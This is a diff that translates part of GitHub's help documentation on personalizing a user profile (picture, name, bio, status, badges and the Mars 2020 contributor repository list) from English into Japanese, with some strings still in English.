+3. [**Upload a photo...**] をクリックします。 ![プロフィール画像の更新](/assets/images/help/profile/edit-profile-picture-options.png)
+3. 画像をクロッピングします。 作業を終えたら [**Set new profile picture**] をクリックします。 ![アップロードされた画像をクロッピングする](/assets/images/help/profile/avatar_crop_and_save.png)
 
-### Resetting your profile picture to the identicon
+### プロフィール画像をアイデンティコンへリセットする
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. To revert to your identicon, click **Remove photo**. If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
+2. [**Profile Picture**] で {% octicon "pencil" aria-label="The edit icon" %} [**Edit**] をクリックします。 ![プロフィール画像を編集](/assets/images/help/profile/edit-profile-photo.png)
+3. アイデンティコンに戻すには、[**Remove photo**] をクリックします。 メールアドレスが [Gravatar](https://en.gravatar.com/) に関連付けられている場合、アイデンティコンに戻すことはできません。 その場合は、代わりに [**Revert to Gravatar**] をクリックします。 ![プロフィール画像の更新](/assets/images/help/profile/edit-profile-picture-options.png)
 
-## Changing your profile name
+## プロフィール名を変更する
 
-You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)."
+プロフィールに表示される名前は変更可能です。 この名前は、Organization が所有するプライベートリポジトリへのコメントの横に表示されることもあります。 詳細は「[Organization のメンバー名表示を管理する](/articles/managing-the-display-of-member-names-in-your-organization)」を参照してください。
 
 {% ifversion fpt or ghec %}
 {% note %}
@@ -62,93 +58,81 @@ You can change the name that is displayed on your profile. This name may also be
 {% endif %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Name", type the name you want to be displayed on your profile.
-  ![Name field in profile settings](/assets/images/help/profile/name-field.png)
+2. [Name] の下に、プロフィールに表示する名前を入力します。 ![プロフィール設定の [Name] フィールド](/assets/images/help/profile/name-field.png)
 
-## Adding a bio to your profile
+## プロフィールに略歴を追加する
 
-Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink.
+自分に関する情報を他の {% data variables.product.product_name %} ユーザーと共有するには、プロフィールに略歴を追加します。 [@メンション](/articles/basic-writing-and-formatting-syntax)と絵文字を使えば、あなたの現在あるいは過去の職場、職種、またどんな種類のコーヒーを飲んでいるかといった情報も含めることができます。
 
 {% ifversion fpt or ghes or ghec %}
 
-For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)."
+自分に関するカスタマイズした情報を長いフォームで、もっと目立つように表示する場合は、プロフィール README を使用することもできます。 詳しい情報については、「[プロフィール README の管理](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)」を参照してください。
 
 {% endif %}
 
 {% note %}
 
-**Note:**
-  If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+**注釈** 自分のプロフィールに対してアクティビティの概要セクションを有効にしていて、そのプロフィール略歴でメンバーになっている Organization を @メンションすると、アクティビティの概要ではその Organization が最初に示されます。 詳しい情報については、「[プロフィールに自分のアクティビティの概要を表示する](/articles/showing-an-overview-of-your-activity-on-your-profile)」を参照してください。
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters.
-	![Update bio on profile](/assets/images/help/profile/bio-field.png)
+2. [**Bio**] の下に、自分のプロフィールに表示する内容を追加してください。 略歴フィールドの上限は 160 文字です。 ![プロフィールの略歴を更新する](/assets/images/help/profile/bio-field.png)
 
   {% tip %}
 
-  **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you.
+  **ヒント:** Organization を @メンションする場合、あなたがメンバーになっている Organization だけがオートコンプリートされます。 以前の職場など、自分がメンバーではない Organization を @メンションすることもできますが、その Organization の名前はオートコンプリートされません。
 
   {% endtip %}
 
-3. Click **Update profile**.
-	![Update profile button](/assets/images/help/profile/update-profile-button.png)
+3. [**Update profile**] をクリックします。 ![[Update profile] ボタン](/assets/images/help/profile/update-profile-button.png)
 
-## Setting a status
+## ステータスを設定する
 
-You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show:
-- on your {% data variables.product.product_name %} profile page.
-- when people hover over your username or avatar on {% data variables.product.product_name %}.
-- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)."
-- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)."
+ステータスを設定すると、あなたの現在の状況に関する情報を {% data variables.product.product_name %} に表示することができます。 ステータスは次の場所や状況で表示されます:
+- {% data variables.product.product_name %} のプロフィールページ。
+- {% data variables.product.product_name %} でユーザがあなたのユーザ名やアバターにカーソルを置いたとき。
+- 自分が Team メンバーになっている Team の Team ページ。 詳細は「[Team について](/articles/about-teams/#team-pages)」を参照してください。
+- メンバーになっている Organization の Organization ダッシュボード。 詳細は「[Organization ダッシュボードについて](/articles/about-your-organization-dashboard/)」を参照してください。
 
-When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}.
+ステータスを設定すると、あなたの時間的な制約について、{% data variables.product.product_name %} で他のユーザーに知らせることもできます。
 
-![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png)
+![@メンションされたユーザ名の隣に "Busy" ノートが表示される](/assets/images/help/profile/username-with-limited-availability-text.png)
 
-![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png)
+![リクエストされたレビュー担当者のユーザ名の隣に "Busy" ノートが表示される](/assets/images/help/profile/request-a-review-limited-availability-status.png)
 
-If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
+[Busy] オプションを選択すると、ユーザがあなたのユーザ名を @メンションしたり、Issue やプルリクエストをあなたに割り当てたりしたとき、またはあなたに Pull Request レビューをリクエストしたとき、ユーザ名の隣にビジーであることを示すノートが表示されます。 You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
 
-1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set your status** or, if you already have a status set, click your current status.
-  ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png)
-2. To add custom text to your status, click in the text field and type a status message.
-  ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png)
-3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list.
-  ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png)
-4. Optionally, if you'd like to share that you have limited availability, select "Busy."
-  ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png)
-5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status.
-  ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png)
-6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public.
-  ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png)
-7. Click **Set status**.
-  ![Button to set status](/assets/images/help/profile/set-status-button.png)
+1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set your status** or, if you already have a status set, click your current status. ![プロフィールでステータスを設定するボタン](/assets/images/help/profile/set-status-on-profile.png)
+2. ステータスにカスタムテキストを追加する場合は、テキストフィールドをクリックしてステータスメッセージを入力します。 ![ステータスメッセージを入力するフィールド](/assets/images/help/profile/type-a-status-message.png)
+3. オプションで、ステータス絵文字を設定する場合は、絵文字のアイコンをクリックしてリストから選択します。 ![絵文字ステータスを選択するボタン](/assets/images/help/profile/select-emoji-status.png)
+4. オプションで、時間に制約があるという情報を共有するには、[Busy] を選択します。 ![[Edit status] オプションで [Busy] オプションを選択](/assets/images/help/profile/limited-availability-status.png)
+5. [**Clear status**] ドロップダウンメニューを使って、ステータスの有効期限を選択します。 ステータスの有効期限を設定しない場合は、クリアするか編集するまで同じステータスのままになります。 ![ステータスの有効期限が切れたときに選択するドロップダウンメニュー](/assets/images/help/profile/status-expiration.png)
+6. ドロップダウンメニューを使って、ステータスを表示する Organization をクリックします。 Organization を選択しない場合、あなたのステータスはパブリックになります。 ![ステータスが表示されるときに選択するドロップダウンメニュー](/assets/images/help/profile/status-visibility.png)
+7. [**Set status**] をクリックします。 ![ステータスを設定するボタン](/assets/images/help/profile/set-status-button.png)
 
 {% ifversion fpt or ghec %}
-## Displaying badges on your profile
+## プロフィールでバッジを表示する
 
-When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile.
+特定のプログラムに参加すると、{% data variables.product.prodname_dotcom %} でプロフィールに自動的にバッジが表示されます。
 
-| Badge | Program | Description |
-| --- | --- | --- |
-| ![Mars 2020 Helicopter Contributor badge icon](/assets/images/help/profile/badge-mars-2020-small.png) | **Mars 2020 Helicopter Contributor**  | If you authored any commit(s) present in the commit history for the relevant tag of an open source library used in the Mars 2020 Helicopter Mission, you'll get a Mars 2020 Helicopter Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were used in the mission. For the full list of repositories that will qualify you for the badge, see "[List of qualifying repositories for Mars 2020 Helicopter Contributor badge](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)." |
-| ![Arctic Code Vault Contributor badge icon](/assets/images/help/profile/badge-arctic-code-vault-small.png) | **{% data variables.product.prodname_arctic_vault %} Contributor** | If you authored any commit(s) on the default branch of a repository that was archived in the 2020 Arctic Vault program, you'll get an {% data variables.product.prodname_arctic_vault %} Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were part of the program. For more information on the program, see [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com). |
-| ![{% data variables.product.prodname_dotcom %} Sponsor badge icon](/assets/images/help/profile/badge-sponsors-small.png) | **{% data variables.product.prodname_dotcom %} Sponsor**  | If you sponsored an open source contributor through {% data variables.product.prodname_sponsors %} you'll get a {% data variables.product.prodname_dotcom %} Sponsor badge on your profile. Clicking the badge takes you to the **Sponsoring** tab of your profile. For more information, see "[Sponsoring open source contributors](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)." |
-| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). |
-| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." |
-| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). |
-| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). |
+| バッジ                                                                                                                      | プログラム                                                                | 説明                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ![Mars 2020 Helicopter Contributor badge icon](/assets/images/help/profile/badge-mars-2020-small.png)                    | **Mars 2020 Helicopter Contributor**                                 | If you authored any commit(s) present in the commit history for the relevant tag of an open source library used in the Mars 2020 Helicopter Mission, you'll get a Mars 2020 Helicopter Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were used in the mission. For the full list of repositories that will qualify you for the badge, see "[List of qualifying repositories for Mars 2020 Helicopter Contributor badge](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)." |
+| ![Arctic Code Vault Contributor badge icon](/assets/images/help/profile/badge-arctic-code-vault-small.png)               | **{% data variables.product.prodname_arctic_vault %} Contributor** | 2020 Arctic Vault プログラムでアーカイブされたリポジトリのデフォルトブランチでコミットを作成すると、プロフィールで {% data variables.product.prodname_arctic_vault %} コントリビューターバッジを取得できます。 Hovering over the badge shows you several of the repositories you contributed to that were part of the program. 詳しい情報については、[{% data variables.product.prodname_archive %}](https://archiveprogram.github.com) を参照してください。                                                                                                                                                                                                                                                                                           |
+| ![{% data variables.product.prodname_dotcom %} Sponsor badge icon](/assets/images/help/profile/badge-sponsors-small.png) | **{% data variables.product.prodname_dotcom %} Sponsor**             | If you sponsored an open source contributor through {% data variables.product.prodname_sponsors %} you'll get a {% data variables.product.prodname_dotcom %} Sponsor badge on your profile. Clicking the badge takes you to the **Sponsoring** tab of your profile. 詳細は、「[オープンソースコントリビューターに対するスポンサー](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)」を参照してください。                                                                                                                                                                                                                                        |
+| {% octicon "cpu" aria-label="The Developer Program icon" %}                                                              | **開発者プログラムメンバー**                                                     | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/).                                                                                                                                                                                        |
+| {% octicon "star-fill" aria-label="The star icon" %}                                                                     | **Pro**                                                              | {% data variables.product.prodname_pro %} を使用すると、プロフィールで PRO バッジを取得します。 {% data variables.product.prodname_pro %} の詳細は、「[{% data variables.product.prodname_dotcom %} の製品](/github/getting-started-with-github/githubs-products#github-pro)」を参照してください。                                                                                                                                                                                                                                                                                                                                                                                                        |
+| {% octicon "lock" aria-label="The lock icon" %}                                                                          | **Security Bug Bounty Hunter**                                       | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/).                                                                                                                                                                                                                                                                                                                                                  |
+| {% octicon "mortar-board" aria-label="The mortar-board icon" %}                                                          | **{% data variables.product.prodname_dotcom %} Campus Expert**       | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts).                                                                                                                                                                                                                                                                                                                                                           |
 
-## Disabling badges on your profile
+## プロフィールでバッジを無効にする
 
 You can disable some of the badges for {% data variables.product.prodname_dotcom %} programs you're participating in, including the PRO, {% data variables.product.prodname_arctic_vault %} and Mars 2020 Helicopter Contributor badges.
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Profile settings", deselect the badge you want you disable.
-  ![Checkbox to no longer display a badge on your profile](/assets/images/help/profile/profile-badge-settings.png)
-3. Click **Update preferences**.
+2. [Profile settings] で、無効にするバッジの選択を解除します。 ![プロフィールでバッジを非表示にするチェックボックス](/assets/images/help/profile/profile-badge-settings.png)
+3. [**Update preferences**] をクリックします。
 
 {% endif %}
 
@@ -156,77 +140,77 @@ You can disable some of the badges for {% data variables.product.prodname_dotcom
 
 If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor badge on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory.
 
-| {% data variables.product.prodname_dotcom %} Repository | Version | Tag |
-|---|---|---|
-| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) |
-| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) |
-| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) |
-| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) |
-| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) |
-| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) |
-| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) |
-| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) |
-| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) |
-| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) |
-| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) |
-| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) |
-| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) |
-| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) |
-| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) |
-| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) |
-| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) |
-| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) |
-| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) |
-| [yaml/pyyaml ](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) |
-| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) |
-| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) |
-| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) |
-| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) |
-| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) |
-| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) |
-| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) |
-| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) |
-| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) |
-| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) |
-| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) |
-| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) |
-| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) |
-| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) |
-| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) |
-| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) |
-| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) |
-| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) |
-| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) |
-| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) |
-| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) |
-| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) |
-| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) |
-| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) |
-| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) |
-| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) |
-| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) |
-| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) |
-| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) |
-| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) |
-| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) |
-| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) |
-| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) |
-| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) |
-| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
-| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) |
-| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) |
-| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) |
-| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) |
-| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) |
-| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) |
-| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) |
-| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) |
-| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) |
-| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) |
-| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) |
+| {% data variables.product.prodname_dotcom %} Repository                       | バージョン     | Tag                                                                                                        |
+| ----------------------------------------------------------------------------- | --------- | ---------------------------------------------------------------------------------------------------------- |
+| [torvalds/linux](https://github.com/torvalds/linux)                           | 3.4       | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4)                                                |
+| [python/cpython](https://github.com/python/cpython)                           | 3.9.2     | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2)                                            |
+| [boto/boto3](https://github.com/boto/boto3)                                   | 1.17.17   | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17)                                              |
+| [boto/botocore](https://github.com/boto/botocore)                             | 1.20.11   | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11)                                           |
+| [certifi/python-certifi](https://github.com/certifi/python-certifi)           | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05)                            |
+| [chardet/chardet](https://github.com/chardet/chardet)                         | 4.0.0     | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0)                                             |
+| [matplotlib/cycler](https://github.com/matplotlib/cycler)                     | 0.10.0    | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0)                                       |
+| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py)       | 6.8.1     | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1)                                    |
+| [ianare/exif-py](https://github.com/ianare/exif-py)                           | 2.3.2     | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2)                                              |
+| [kjd/idna](https://github.com/kjd/idna)                                       | 2.10      | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10)                                                    |
+| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py)               | 0.10.0    | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0)                                      |
+| [nucleic/kiwi](https://github.com/nucleic/kiwi)                               | 1.3.1     | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1)                                                |
